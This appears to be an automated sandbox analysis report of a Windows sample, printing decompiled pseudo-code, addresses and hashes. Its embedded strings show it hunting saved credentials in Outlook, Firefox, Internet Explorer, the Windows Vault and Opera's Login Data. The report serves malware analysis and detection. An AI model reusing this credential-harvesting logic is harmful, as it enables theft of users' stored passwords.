                					L0041043D(_t121,  &_v700, __edi, _t147);
                					 *((short*)(_t148 + E0042093D( &_v700) * 2 - 0x2e4)) = 0;
                					E00420AAD( &_v700,  &_v140, 0);
                					_t95 = E004119AD(__eflags, _t147,  &_v8,  &_v700, 0x20219);
                					_t152 = _t150 + 0x34;
                					__eflags = _t95;
                					if(_t95 == 0) {
                						L11:
                						return 1;
                					} else {
                						_t97 = E00418C6D(_t147,  &_v1220, 0x128);
                						_t153 = _t152 + 0xc;
                						__eflags = _t97;
                						if(__eflags == 0) {
                							L12:
                							E0041EC9D(_t147, _v8);
                							__eflags = 0;
                							return 0;
                						} else {
                							_t101 = E00417E1D(__eflags, _t147,  &_v180);
                							_t153 = _t153 + 8;
                							__eflags = _t101;
                							if(_t101 == 0) {
                								goto L12;
                							} else {
                								_v12 = 0;
                								_v3780 = 0;
                								E004206CD( &_v3778, 0, 0x9fe);
                								_t145 = E004207FD(_t147, 0x1f4400);
                								_t155 = _t153 + 0x14;
                								__eflags = _t145;
                								if(_t145 != 0) {
                									E00417D0D(_t147, _t145,  &_v180);
                									_t108 = E0041E9AD(_t147, _v8, 0, 1,  &_v3780, 0x800,  &_v12);
                									_t156 = _t155 + 0x28;
                									__eflags = _t108;
                									if(_t108 == 0) {
                										do {
                											E00417C3D(_t147,  &_v3780, _t145,  &_v1220,  &_v180);
                											_t118 = _t118 + 1;
                											E0042067D( &_v3780, 0x400);
                											_t115 = E0041E9AD(_t147, _v8, _t118, 1,  &_v3780, 0x800,  &_v12);
                											_t156 = _t156 + 0x38;
                											__eflags = _t115;
                										} while (_t115 == 0);
                									}
                									E0041EC9D(_t147, _v8);
                									E0042062D(_t147, _t145);
                									goto L11;
                								} else {
                									E0041EC9D(_t147, _v8);
                									__eflags = 0;
                									return 0;
                								}
                							}
                						}
                					}
                				} else {
                					return _t87;
                				}
                			}




























































                0x0041800a
                0x00418019
                0x0041801f
                0x00418025
                0x0041802b
                0x00418031
                0x00418037
                0x0041803d
                0x00418043
                0x00418049
                0x0041804f
                0x00418055
                0x0041805c
                0x00418070
                0x00418077
                0x00418083
                0x0041808d
                0x00418097
                0x0041809e
                0x004180a5
                0x004180ac
                0x004180b3
                0x004180ba
                0x004180c1
                0x004180c8
                0x004180cf
                0x004180d6
                0x004180dd
                0x004180e4
                0x004180eb
                0x004180f2
                0x004180f9
                0x00418100
                0x00418107
                0x0041810e
                0x00418115
                0x0041811a
                0x0041811d
                0x0041811f
                0x00418127
                0x00418128
                0x00418129
                0x0041813f
                0x00418153
                0x0041815c
                0x00418161
                0x00418166
                0x0041816e
                0x0041816f
                0x00418177
                0x00418189
                0x0041818a
                0x0041818b
                0x0041819e
                0x004181b5
                0x004181cb
                0x004181d0
                0x004181d3
                0x004181d5
                0x004182f3
                0x004182fe
                0x004181db
                0x004181e8
                0x004181ed
                0x004181f0
                0x004181f2
                0x004182ff
                0x00418304
                0x0041830e
                0x00418314
                0x004181f8
                0x00418200
                0x00418205
                0x00418208
                0x0041820a
                0x00000000
                0x00418210
                0x0041821f
                0x00418222
                0x00418229
                0x00418239
                0x0041823b
                0x0041823e
                0x00418240
                0x00418261
                0x0041827f
                0x00418284
                0x00418287
                0x00418289
                0x0041828d
                0x004182a4
                0x004182b5
                0x004182b6
                0x004182d3
                0x004182d8
                0x004182db
                0x004182db
                0x0041828d
                0x004182e4
                0x004182eb
                0x00000000
                0x00418242
                0x00418247
                0x00418251
                0x00418257
                0x00418257
                0x00418240
                0x0041820a
                0x004181f2
                0x0041816d
                0x0041816d
                0x0041816d

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: $2$I$I$\$e$g$i$l$l$m$o$r$r$r$r$t$t$t$x
                • API String ID: 0-3236418099
                • Opcode ID: 03e1bbfd8c7138c8e6387f74d95e7fb4108acd60b3c69c8c52c881c821453e39
                • Instruction ID: e2fc756c5b19325c077459543dcc9151661ed7a6be09ceaa6fdd603359f3bb37
                • Opcode Fuzzy Hash: 03e1bbfd8c7138c8e6387f74d95e7fb4108acd60b3c69c8c52c881c821453e39
                • Instruction Fuzzy Hash: BF81B2B1901218AEEB10DF95DC45FEEB7BDEF44304F40019EE60CA6141EBB55A85CF69
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 75%
                			E00418C6D(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
                				short _v6;
                				short _v10;
                				short _v14;
                				short _v18;
                				short _v22;
                				short _v26;
                				short _v28;
                				intOrPtr _v32;
                				intOrPtr _v36;
                				intOrPtr _v40;
                				intOrPtr _v44;
                				intOrPtr _v48;
                				intOrPtr _v52;
                				intOrPtr _v56;
                				intOrPtr _v60;
                				intOrPtr _v64;
                				char _v68;
                				short _v70;
                				short _v74;
                				short _v78;
                				short _v82;
                				short _v86;
                				short _v88;
                				intOrPtr _v92;
                				intOrPtr _v96;
                				short _v98;
                				char _v100;
                				char _v144;
                				intOrPtr _v148;
                				intOrPtr _v152;
                				intOrPtr _v156;
                				intOrPtr _v160;
                				char _v164;
                				char _v208;
                				intOrPtr _v212;
                				intOrPtr _v216;
                				intOrPtr _v220;
                				intOrPtr _v224;
                				char _v228;
                				intOrPtr _t69;
                				intOrPtr _t106;
                				void* _t107;
                				void* _t108;
                				void* _t109;
                
                				_t107 = 6;
                				_v100 = 0x630072;
                				_v96 = 0x69002e;
                				_v92 = 0x69006e;
                				_v88 = 0;
                				_v86 = 0;
                				_v82 = 0;
                				_v78 = 0;
                				_v74 = 0;
                				_v70 = 0;
                				_v164 = 0xa000d;
                				_v160 = 0x5f005f;
                				_v156 = 0x610056;
                				_v152 = 0x6c0075;
                				_v148 = 0x74;
                				E004206CD( &_v144, 0, 0x2c);
                				_v228 = 0xa000d;
                				_v224 = 0x650049;
                				_v220 = 0x700078;
                				_v216 = 0x6f006c;
                				_v212 = 0x72;
                				E004206CD( &_v208, 0, 0x2c);
                				_v26 = 0;
                				_v22 = 0;
                				_v18 = 0;
                				_v14 = 0;
                				_v10 = 0;
                				_v6 = 0;
                				_t69 = _a12;
                				_t109 = _t108 + 0x18;
                				_v68 = 0xa000d;
                				_v64 = 0x75004f;
                				_v60 = 0x6c0074;
                				_v56 = 0x6f006f;
                				_v52 = 0x20006b;
                				_v48 = 0x650052;
                				_v44 = 0x6f0063;
                				_v40 = 0x650076;
                				_v36 = 0x790072;
                				_v32 = 0xa000d;
                				_v28 = 0;
                				if(_t69 != 0x512) {
                					if(_t69 == 0x128) {
                						_v98 = 0x69;
                						_t107 = 2;
                						_push(E0042093D( &_v164) + _t84);
                						_push( &_v228);
                						_push( &_v68);
                						goto L4;
                					}
                				} else {
                					_v98 = 0x76;
                					_t107 = 1;
                					_push(E0042093D( &_v164) + _t89);
                					_push( &_v164);
                					_push( &_v68);
                					L4:
                					E0042064D();
                					_t109 = _t109 + 0x10;
                				}
                				_t106 = _a4;
                				E0042064D( *((intOrPtr*)(_t106 + 0xa04)),  &_v68, 0x2a);
                				 *((intOrPtr*)(_t106 + 0xa08)) = 0x28;
                				_t55 = E0042093D(_t106 + 0x8f0) - 8; // -8
                				if(_t55 > 0x178) {
                					L8:
                					return 0;
                				} else {
                					E0042064D(_a8, _t106 + 0x8f0, _t91 + _t91);
                					E0042064D(_a8 + _t91 * 2 - 8,  &_v100, 0xe);
                					if(E00419FFD(_t106, _a8, 0x15, 0) != 0) {
                						goto L8;
                					} else {
                						E004133BD(_t106, _t107);
                						return 1;
                					}
                				}
                			}















































                0x00418c85
                0x00418c8a
                0x00418c91
                0x00418c98
                0x00418c9f
                0x00418ca3
                0x00418ca6
                0x00418ca9
                0x00418cac
                0x00418caf
                0x00418cb3
                0x00418cbd
                0x00418cc7
                0x00418cd1
                0x00418cdb
                0x00418ce5
                0x00418cf5
                0x00418cff
                0x00418d09
                0x00418d13
                0x00418d1d
                0x00418d27
                0x00418d2e
                0x00418d31
                0x00418d34
                0x00418d37
                0x00418d3a
                0x00418d3d
                0x00418d41
                0x00418d46
                0x00418d49
                0x00418d50
                0x00418d57
                0x00418d5e
                0x00418d65
                0x00418d6c
                0x00418d73
                0x00418d7a
                0x00418d81
                0x00418d88
                0x00418d8f
                0x00418d98
                0x00418dc7
                0x00418dd5
                0x00418dd9
                0x00418de3
                0x00418dea
                0x00418dee
                0x00000000
                0x00418dee
                0x00418d9a
                0x00418da6
                0x00418daa
                0x00418db4
                0x00418dbb
                0x00418dbf
                0x00418def
                0x00418def
                0x00418df4
                0x00418df4
                0x00418df7
                0x00418e07
                0x00418e13
                0x00418e24
                0x00418e2f
                0x00418e85
                0x00418e8b
                0x00418e31
                0x00418e40
                0x00418e53
                0x00418e6b
                0x00000000
                0x00418e6d
                0x00418e6f
                0x00418e82
                0x00418e82
                0x00418e6b

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: .$.3A$I$O$R$V$_$c$k$l$n$o$r$r$r$t$t$u$v$x
                • API String ID: 0-906887463
                • Opcode ID: 545f348f5d786e893a8e05e2249c969ec3218f122316875dc8d76f1898fdd421
                • Instruction ID: 2fb85c03725afc3eb61741c39c3d608ede78b16c8316159f99047aff9641b701
                • Opcode Fuzzy Hash: 545f348f5d786e893a8e05e2249c969ec3218f122316875dc8d76f1898fdd421
                • Instruction Fuzzy Hash: B9512FB1E0021C9EDB10DFA4DC45BEEBBB5BF45304F40419EE508AB241E7B95A89CF65
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 85%
                			E0041616D(void* __edi, void* __eflags, intOrPtr _a4) {
                				short _v6;
                				short _v10;
                				short _v14;
                				short _v18;
                				short _v22;
                				short _v26;
                				short _v30;
                				short _v34;
                				short _v38;
                				short _v40;
                				intOrPtr _v44;
                				intOrPtr _v48;
                				intOrPtr _v52;
                				intOrPtr _v56;
                				intOrPtr _v60;
                				intOrPtr _v64;
                				char _v68;
                				short _v70;
                				short _v74;
                				short _v78;
                				short _v82;
                				short _v86;
                				short _v90;
                				short _v94;
                				short _v98;
                				short _v102;
                				short _v104;
                				intOrPtr _v108;
                				intOrPtr _v112;
                				intOrPtr _v116;
                				intOrPtr _v120;
                				intOrPtr _v124;
                				intOrPtr _v128;
                				char _v132;
                				char _v258;
                				char _v260;
                				char _v318;
                				short _v320;
                				char _v324;
                				char _v450;
                				char _v452;
                				char _v970;
                				char _v972;
                				char _v1486;
                				short _v1488;
                				char _v1492;
                				char _v2006;
                				short _v2008;
                				char _v2012;
                				char _v2526;
                				short _v2528;
                				char _v2532;
                				char _v3046;
                				short _v3048;
                				char _v3052;
                				char _v3566;
                				short _v3568;
                				char _v3572;
                				void* __esi;
                				void* __ebp;
                				intOrPtr _t226;
                				void* _t227;
                
                				_v260 = 0;
                				E004206CD( &_v258, 0, 0x7e);
                				_v452 = 0;
                				E004206CD( &_v450, 0, 0x7e);
                				_v324 = 0xa000d;
                				_v320 = 0;
                				E004206CD( &_v318, 0, 0x3a);
                				_v3572 = 0x3a0043;
                				_v3568 = 0;
                				E004206CD( &_v3566, 0, 0x202);
                				_v2012 = 0x3a0044;
                				_v2008 = 0;
                				E004206CD( &_v2006, 0, 0x202);
                				_v3052 = 0x3a0045;
                				_v3048 = 0;
                				E004206CD( &_v3046, 0, 0x202);
                				_v1492 = 0x3a0046;
                				_v1488 = 0;
                				E004206CD( &_v1486, 0, 0x202);
                				_v2532 = 0x3a0047;
                				_v2528 = 0;
                				E004206CD( &_v2526, 0, 0x202);
                				_v972 = 0;
                				E004206CD( &_v970, 0, 0x206);
                				_v68 = 0x50005c;
                				_v64 = 0x6f0072;
                				_v60 = 0x720067;
                				_v56 = 0x6d0061;
                				_v52 = 0x460020;
                				_v48 = 0x6c0069;
                				_v44 = 0x730065;
                				_v40 = 0;
                				_t226 = _a4;
                				_push(5);
                				_v38 = 0;
                				_v34 = 0;
                				_v30 = 0;
                				_v26 = 0;
                				_v22 = 0;
                				_v18 = 0;
                				_v14 = 0;
                				_v10 = 0;
                				_v6 = 0;
                				_v102 = 0;
                				_v98 = 0;
                				_v94 = 0;
                				_v90 = 0;
                				_v86 = 0;
                				_v82 = 0;
                				_v78 = 0;
                				_v74 = 0;
                				_v70 = 0;
                				_push(0x1d);
                				_push( &_v260);
                				_push(_t226);
                				_v132 = 0x6f0046;
                				_v128 = 0x200078;
                				_v124 = 0x650052;
                				_v120 = 0x6f0063;
                				_v116 = 0x650076;
                				_v112 = 0x790072;
                				_v108 = 0xa000d;
                				_v104 = 0;
                				L0041043D(0, 0, __edi, _t226);
                				_push(5);
                				_push(5);
                				_push( &_v452);
                				_push(_t226);
                				L0041043D( &_v452, 0, __edi, _t226);
                				_push( &_v972);
                				_push( &_v452);
                				_push(_t226);
                				L0041030D();
                				E0042064D( *((intOrPtr*)(_t226 + 0xa04)),  &_v324, 6);
                				E00420AAD( *((intOrPtr*)(_t226 + 0xa04)),  &_v132, 0);
                				 *((intOrPtr*)(_t226 + 0xa08)) = E0042093D( *((intOrPtr*)(_t226 + 0xa04))) + _t143;
                				E004133BD(_t226, 8);
                				E0041603D(_t226,  &_v3572,  &_v258, 0, 2);
                				E0041603D(_t226,  &_v2012,  &_v258, 0, 2);
                				E0041603D(_t226,  &_v3052,  &_v258, 0, 2);
                				E0041603D(_t226,  &_v1492,  &_v258, 0, 2);
                				E0041603D(_t226,  &_v2532,  &_v258, 0, 2);
                				E0041603D(_t226,  &_v972,  &_v258, 0, 2);
                				if( *((short*)(_t227 + E0042093D( &_v972) * 2 - 0x3ca)) == 0x29) {
                					 *((short*)(_t227 + E0042093D( &_v972) * 2 - 0x3d4)) = 0;
                					E0041603D(_t226,  &_v972,  &_v258, 0, 2);
                					E00420AAD(_t227 + E0042093D( &_v2012) * 2 - 0x7d8,  &_v68, 0);
                					E0041603D(_t226,  &_v2012,  &_v258, 0, 2);
                					E00420AAD(_t227 + E0042093D( &_v3052) * 2 - 0xbe8,  &_v68, 0);
                					E0041603D(_t226,  &_v3052,  &_v258, 0, 2);
                					E00420AAD(_t227 + E0042093D( &_v1492) * 2 - 0x5d0,  &_v68, 0);
                					E0041603D(_t226,  &_v1492,  &_v258, 0, 2);
                					E00420AAD(_t227 + E0042093D( &_v2532) * 2 - 0x9e0,  &_v68, 0);
                					E0041603D(_t226,  &_v2532,  &_v258, 0, 2);
                					return 1;
                				} else {
                					return 0;
                				}
                			}

































































                0x00416183
                0x0041618a
                0x0041619b
                0x004161a2
                0x004161b3
                0x004161bd
                0x004161c4
                0x004161d8
                0x004161e2
                0x004161e9
                0x004161fd
                0x00416207
                0x0041620e
                0x00416222
                0x0041622c
                0x00416233
                0x0041624a
                0x00416254
                0x0041625b
                0x0041626f
                0x00416279
                0x00416280
                0x00416294
                0x0041629b
                0x004162a2
                0x004162a9
                0x004162b0
                0x004162b7
                0x004162be
                0x004162c5
                0x004162cc
                0x004162d3
                0x004162d9
                0x004162dc
                0x004162de
                0x004162e1
                0x004162e4
                0x004162e7
                0x004162ea
                0x004162ed
                0x004162f0
                0x004162f3
                0x004162f6
                0x004162fa
                0x004162fd
                0x00416300
                0x00416303
                0x00416306
                0x00416309
                0x0041630c
                0x0041630f
                0x00416312
                0x00416316
                0x0041631e
                0x0041631f
                0x00416320
                0x00416327
                0x0041632e
                0x00416335
                0x0041633c
                0x00416343
                0x0041634a
                0x00416351
                0x00416355
                0x0041635a
                0x0041635c
                0x00416364
                0x00416365
                0x00416366
                0x00416374
                0x0041637b
                0x0041637c
                0x0041637d
                0x00416392
                0x004163a4
                0x004163ba
                0x004163c0
                0x004163d8
                0x004163f3
                0x0041640b
                0x00416423
                0x0041643b
                0x00416456
                0x00416473
                0x0041648d
                0x004164a4
                0x004164c9
                0x004164e1
                0x00416506
                0x0041651e
                0x00416543
                0x0041655b
                0x00416580
                0x00416598
                0x004165a9
                0x00416475
                0x0041647b
                0x0041647b

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: $)$C$D$E$F$F$G$R$\$a$c$e$g$i$r$r$v$x
                • API String ID: 0-401266261
                • Opcode ID: cc810af0d201aa50e4f3842f8bc19fd1becd4996a3d427681664e37b50a2b55b
                • Instruction ID: 7e35d934f11831c070210ed3274a6cad16b98663f2c9e6aa55e05c966768d679
                • Opcode Fuzzy Hash: cc810af0d201aa50e4f3842f8bc19fd1becd4996a3d427681664e37b50a2b55b
                • Instruction Fuzzy Hash: 0DC165B1D50318AAEB24DF94CC46FEE77B8AF48704F40409EB109A6182EBB55B84CF65
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 91%
                			E00414F6D(void* __eflags, intOrPtr _a4, intOrPtr _a8, signed int _a12) {
                				char _v8;
                				char* _v12;
                				short _v14;
                				char _v16;
                				intOrPtr _v20;
                				intOrPtr _v24;
                				char _v28;
                				char _v32;
                				char _v33;
                				short _v35;
                				short _v39;
                				short _v43;
                				short _v47;
                				short _v51;
                				char _v52;
                				char _v144;
                				intOrPtr _v148;
                				intOrPtr _v152;
                				intOrPtr _v156;
                				intOrPtr _v160;
                				intOrPtr _v164;
                				intOrPtr _v168;
                				intOrPtr _v172;
                				intOrPtr _v176;
                				char _v180;
                				char _v278;
                				short _v280;
                				intOrPtr _v284;
                				intOrPtr _v288;
                				intOrPtr _v292;
                				intOrPtr _v296;
                				intOrPtr _v300;
                				intOrPtr _v304;
                				char _v308;
                				void* __ebx;
                				void* __edi;
                				void* __esi;
                				void* __ebp;
                				void* _t87;
                				void* _t95;
                				intOrPtr _t97;
                				void* _t100;
                				void* _t115;
                				intOrPtr _t116;
                				intOrPtr _t118;
                				intOrPtr* _t129;
                				intOrPtr _t130;
                				intOrPtr _t156;
                				intOrPtr _t157;
                				void* _t159;
                				void* _t162;
                				void* _t164;
                				void* _t171;
                
                				_t171 = __eflags;
                				_v51 = 0;
                				_v47 = 0;
                				_v43 = 0;
                				_v39 = 0;
                				_v35 = 0;
                				_v33 = 0;
                				_v52 = 0;
                				_v28 = 0x4d005c;
                				_v24 = 0x690061;
                				_v20 = 0x6e;
                				_v308 = 0x750043;
                				_v304 = 0x720072;
                				_v300 = 0x6e0065;
                				_v296 = 0x560074;
                				_v292 = 0x720065;
                				_v288 = 0x690073;
                				_v284 = 0x6e006f;
                				_v280 = 0;
                				E004206CD( &_v278, 0, 0x62);
                				_v180 = 0x6e0049;
                				_v176 = 0x740073;
                				_v172 = 0x6c0061;
                				_v168 = 0x20006c;
                				_v164 = 0x690044;
                				_v160 = 0x650072;
                				_v156 = 0x740063;
                				_v152 = 0x72006f;
                				_v148 = 0x79;
                				E004206CD( &_v144, 0, 0x5c);
                				_t144 =  &_v308;
                				_v12 =  &_v308;
                				_v14 = 0x3e;
                				_t87 = E0042093D( &_v308);
                				_t129 = _a12;
                				_t156 = _a4;
                				_push(1);
                				_push(0xe);
                				_t35 = _t129 + 0x68; // 0xd6
                				_t158 = _t35;
                				_push(_t35);
                				_push(_t156);
                				_v16 = _t87 + _t87;
                				L0041043D( &_v308, _t144, _t156, _t35);
                				_push(1);
                				_push(0x12);
                				_t38 = E0042093D(_t35) * 2; // 0xd6
                				_push(_t129 + _t38 + 0x68);
                				_push(_t156);
                				L0041043D(_t144, _t129 + _t38 + 0x68, _t156, _t35);
                				E00420AAD(_t35, _a8, 0);
                				_a12 = E0042093D(_t158);
                				_t95 = E004119AD(_t171, _t156,  &_v8, _t158, 0x20219);
                				_t162 = _t159 + 0x60;
                				if(_t95 == 0) {
                					L12:
                					__eflags =  *((intOrPtr*)(_t156 + 0x1c));
                					if(__eflags != 0) {
                						_t97 = E004140AD(_t156, __eflags, _t156, 0);
                						__eflags = _t97;
                						if(_t97 != 0) {
                							_t157 =  *((intOrPtr*)(_t156 + 0x7d8));
                							__eflags = _t157;
                							if(_t157 != 0) {
                								__eflags =  *_t129 - 0x32;
                								if( *_t129 == 0x32) {
                									 *((intOrPtr*)(_t157 + 0x2044)) = 1;
                									_t130 =  *((intOrPtr*)(_t129 + 4));
                									__eflags = _t130;
                									if(_t130 == 0) {
                										_t130 = 0x3c;
                									}
                									 *((intOrPtr*)(_t157 + 0x2048)) = _t130;
                								}
                							}
                						}
                					}
                					goto L19;
                				} else {
                					_t45 = _t129 + 0x468; // 0x4d6
                					_t100 = E0041E92D(_t156, _v8,  &_v16, 1, _t45, 0x100,  &_v32);
                					_t164 = _t162 + 0x1c;
                					if(_t100 != 0) {
                						E0041EC9D(_t156, _v8);
                						_t162 = _t164 + 8;
                						goto L12;
                					} else {
                						_t49 = _t129 + 0x468; // 0x4d6
                						E00420AAD(_t158,  *((intOrPtr*)(_t129 + 0x470)) + _t49,  *((intOrPtr*)(_t129 + 0x474)));
                						_t52 = _a12 * 2; // 0xd6
                						E00420CED( &_v52, _t129 + _t52 + 0x68);
                						E00420AAD(_t158,  &_v28, 0);
                						E0041EC9D(_t156, _v8);
                						_v12 =  &_v180;
                						_v16 = E0042093D( &_v180) + _t109;
                						_t60 = _t129 + 0x468; // 0x4d6
                						E0042067D(_t60, 0x3e8);
                						_t61 = _t129 + 4; // 0x72
                						_t63 = _t156 + 0x1c; // 0x24
                						_t115 = E004208CD(_t129, _t63,  &_v52, _t61);
                						if(_t115 != 0) {
                							__eflags =  *((intOrPtr*)(_t129 + 4));
                							if(__eflags == 0) {
                								 *((intOrPtr*)(_t129 + 4)) = 0x3c;
                							}
                							_t116 = E004119AD(__eflags, _t156,  &_v8, _t158, 0x20219);
                							__eflags = _t116;
                							if(_t116 == 0) {
                								L19:
                								return 1;
                							} else {
                								_t118 = E0041E92D(_t156, _v8,  &_v16, 1, _t158, 0x200,  &_v32);
                								__eflags = _t118;
                								if(_t118 != 0) {
                									E0041EC9D(_t156, _v8);
                									return 1;
                								} else {
                									E0041EC9D(_t156, _v8);
                									_t73 = _t129 + 0x468; // 0x4d6
                									E0042064D(_t73,  *((intOrPtr*)(_t158 + 8)) + _t158,  *((intOrPtr*)(_t158 + 0xc)));
                									__eflags = E004146DD(__eflags, _t156, _t129);
                									if(__eflags == 0) {
                										goto L19;
                									} else {
                										E00414CED(__eflags, _t156, _a8, _t129);
                										return 1;
                									}
                								}
                							}
                						} else {
                							return _t115;
                						}
                					}
                				}
                			}
























































                0x00414f6d
                0x00414f7f
                0x00414f82
                0x00414f85
                0x00414f88
                0x00414f8b
                0x00414f8f
                0x00414f9a
                0x00414f9e
                0x00414fa5
                0x00414fac
                0x00414fb3
                0x00414fbd
                0x00414fc7
                0x00414fd1
                0x00414fdb
                0x00414fe5
                0x00414fef
                0x00414ff9
                0x00415000
                0x00415010
                0x0041501a
                0x00415024
                0x0041502e
                0x00415038
                0x00415042
                0x0041504c
                0x00415056
                0x00415060
                0x0041506a
                0x0041506f
                0x0041507d
                0x00415080
                0x00415084
                0x00415089
                0x0041508c
                0x0041508f
                0x00415091
                0x00415093
                0x00415093
                0x00415098
                0x00415099
                0x0041509a
                0x0041509e
                0x004150a6
                0x004150a8
                0x004150b3
                0x004150b7
                0x004150b8
                0x004150b9
                0x004150c5
                0x004150d9
                0x004150de
                0x004150e3
                0x004150e8
                0x0041525e
                0x0041525e
                0x00415262
                0x00415267
                0x0041526f
                0x00415271
                0x00415273
                0x00415279
                0x0041527b
                0x0041527d
                0x00415280
                0x00415282
                0x0041528c
                0x0041528f
                0x00415291
                0x00415293
                0x00415293
                0x00415298
                0x00415298
                0x00415280
                0x0041527b
                0x00415271
                0x00000000
                0x004150ee
                0x004150fa
                0x00415109
                0x0041510e
                0x00415113
                0x00415256
                0x0041525b
                0x00000000
                0x00415119
                0x00415125
                0x00415130
                0x00415138
                0x00415141
                0x0041514d
                0x00415157
                0x00415165
                0x0041516f
                0x00415173
                0x0041517f
                0x00415184
                0x0041518c
                0x00415190
                0x0041519a
                0x004151a3
                0x004151a7
                0x004151a9
                0x004151a9
                0x004151bb
                0x004151c3
                0x004151c5
                0x004152a0
                0x004152a9
                0x004151cb
                0x004151e0
                0x004151e8
                0x004151ea
                0x0041523d
                0x00415250
                0x004151ec
                0x004151f1
                0x00415200
                0x00415207
                0x00415216
                0x00415218
                0x00000000
                0x0041521e
                0x00415224
                0x00415237
                0x00415237
                0x00415218
                0x004151ea
                0x004151a2
                0x004151a2
                0x004151a2
                0x0041519a
                0x00415113

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: C$D$I$\$a$a$c$e$e$l$n$o$o$r$r$s$s$t$y
                • API String ID: 0-2101568155
                • Opcode ID: c03682415f350359181d69d74bbd2fa53418e53d011138c3b31cdab32d5c0443
                • Instruction ID: 3a677f61de7fe4b13127d6c53faa284720684c5838ba174eebd97f39ace30dc7
                • Opcode Fuzzy Hash: c03682415f350359181d69d74bbd2fa53418e53d011138c3b31cdab32d5c0443
                • Instruction Fuzzy Hash: B7918CB1A00218AFEB10DF55DC85FEE77B9EF84704F00419EF90897242E7795A85CBA5
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 86%
                			E0041833D(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
                				char _v52;
                				intOrPtr _v56;
                				intOrPtr _v60;
                				intOrPtr _v64;
                				intOrPtr _v68;
                				intOrPtr _v72;
                				intOrPtr _v76;
                				intOrPtr _v80;
                				intOrPtr _v84;
                				intOrPtr _v88;
                				intOrPtr _v92;
                				intOrPtr _v96;
                				intOrPtr _v100;
                				intOrPtr _v104;
                				intOrPtr _v108;
                				intOrPtr _v112;
                				intOrPtr _v116;
                				intOrPtr _v120;
                				intOrPtr _v124;
                				intOrPtr _v128;
                				char _v132;
                				void* __edi;
                				void* __esi;
                				void* __ebp;
                				void* _t30;
                
                				_t36 = _a8;
                				_t35 = _a4;
                				_push(0);
                				_push(3);
                				_push(_a8);
                				_push(_a4);
                				L0041043D(__ecx, __edx, _a4, _a8);
                				_v132 = 0x4f005c;
                				_v128 = 0x650070;
                				_v124 = 0x610072;
                				_v120 = 0x530020;
                				_v116 = 0x66006f;
                				_v112 = 0x770074;
                				_v108 = 0x720061;
                				_v104 = 0x5c0065;
                				_v100 = 0x70004f;
                				_v96 = 0x720065;
                				_v92 = 0x200061;
                				_v88 = 0x740053;
                				_v84 = 0x620061;
                				_v80 = 0x65006c;
                				_v76 = 0x4c005c;
                				_v72 = 0x67006f;
                				_v68 = 0x6e0069;
                				_v64 = 0x440020;
                				_v60 = 0x740061;
                				_v56 = 0x61;
                				E004206CD( &_v52, 0, 0x30);
                				E00420AAD(_t36,  &_v132, 0);
                				if(_a12 != 0) {
                					L3:
                					return 1;
                				} else {
                					_t30 = E00419FFD(_t35, _t36, 0x15, 0);
                					if(_t30 != 0) {
                						goto L3;
                					} else {
                						return _t30;
                					}
                				}
                			}




























                0x00418347
                0x0041834b
                0x0041834e
                0x00418350
                0x00418352
                0x00418353
                0x00418354
                0x00418361
                0x00418368
                0x0041836f
                0x00418376
                0x0041837d
                0x00418384
                0x0041838b
                0x00418392
                0x00418399
                0x004183a0
                0x004183a7
                0x004183ae
                0x004183b5
                0x004183bc
                0x004183c3
                0x004183ca
                0x004183d1
                0x004183d8
                0x004183df
                0x004183e6
                0x004183ed
                0x004183f9
                0x00418405
                0x00418420
                0x00418429
                0x00418407
                0x0041840d
                0x00418417
                0x00000000
                0x0041841e
                0x0041841e
                0x0041841e
                0x00418417

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: $O$S$\$\$a$a$a$a$a$e$e$i$l$o$o$p$r$t
                • API String ID: 0-410984617
                • Opcode ID: 1a93e821aa5c6438a58d6813c46f363da60ea897620f18e6b7eea7c350116c3c
                • Instruction ID: bc23ccf62d80119ff91da92f1818eaf143044129cf91d2baf1131c19667d054f
                • Opcode Fuzzy Hash: 1a93e821aa5c6438a58d6813c46f363da60ea897620f18e6b7eea7c350116c3c
                • Instruction Fuzzy Hash: 30214171D01318EAEB209F85E849BDDBFBAAB40718F14411DE6042F282D7FA1589CFA5
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 91%
